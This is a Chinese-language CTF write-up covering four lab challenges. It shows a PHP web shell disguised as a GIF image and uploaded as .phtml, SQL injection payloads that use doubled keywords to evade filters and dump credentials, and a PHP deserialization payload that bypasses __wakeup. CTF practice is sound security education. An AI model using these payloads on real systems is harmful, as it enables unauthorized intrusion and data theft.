[极客大挑战 2019]Upload
先随便上传个图片马试试
不让有<?那就换成js标签形式的
GIF89a //jpg图片的文件头
<script language="php">eval($_POST[1]);</script>
上传成功了,但是没有显示路径,一般上传路径都是相对路径upload/或者uoloads/,这里访问upload/1.jpg成功,将1.jpg改成1.phtml,上传成功用蚁剑连接
[ACTF2020 新生赛]Upload
随便传个图片马,显示路径了,
和上题一样的方法,传.phtml文件名,连蚁剑
[极客大挑战 2019]BabySQL
万能密码1'or 1='1报错了1=’1‘有语法错误,应该是or被过滤了,双写绕过
username=admin&password=1'oorr 1='1
然后就是常规sql注入流程,by也被过滤,一样双写,查到4报错,那就是三个字段
username=admin&password=1'oorrder+bbyy+4#
查响应
username=admin&password=1'ununionion seselectlect 1,2,3#
查表
username=admin&password=1'ununionion seselectlect 1,2,group_concat(table_name)frfromom infoorrmation_schema.tables whwhereere table_schema=database()#
查列名
username=admin&password=1'ununionion seselectlect 1,2,group_concat(column_name)frfromom infoorrmation_schema.columns whwhereere table_name='b4bsql'#
最后
username=admin&password=1'ununionion seselectlect 1,2,group_concat(id,username,passwoorrd)frfromom b4bsl#
[极客大挑战 2019]PHP
这是一个反序列化的题
提示有备份文件的习惯,那就是说有源码的备份文件,访问www.zip得到源码
常用备份文件名
index.phps
index.php.swp
index.phps
www.zip
index.php接受select参数并反序列化
解题的关键是绕过__wakeup()魔术方法
__wakeup()在unserialize()之前执行,当表示属性数量的值大于真实属性数量,造成绕过wakeup
O:4:"Name":2:{s:8:"username";s:5:"admin";s:8:"password";i:100;} //这是正常字符串
O:4:"Name":3:{s:8:"username";s:5:"admin";s:8:"password";i:100;} //类名后面的2改成3,由于只提供了两个属性,造成绕过__wakeup()
因为private序列化会产生不可见字符,最好将序列化字符串进行url编码再输出
select=O%3a4%3a%22Name%22%3a3%3a%7bs%3a14%3a%22%00Name%00username%22%3bs%3a5%3a%22admin%22%3bs%3a14%3a%22%00Name%00password%22%3bi%3a100%3b%7d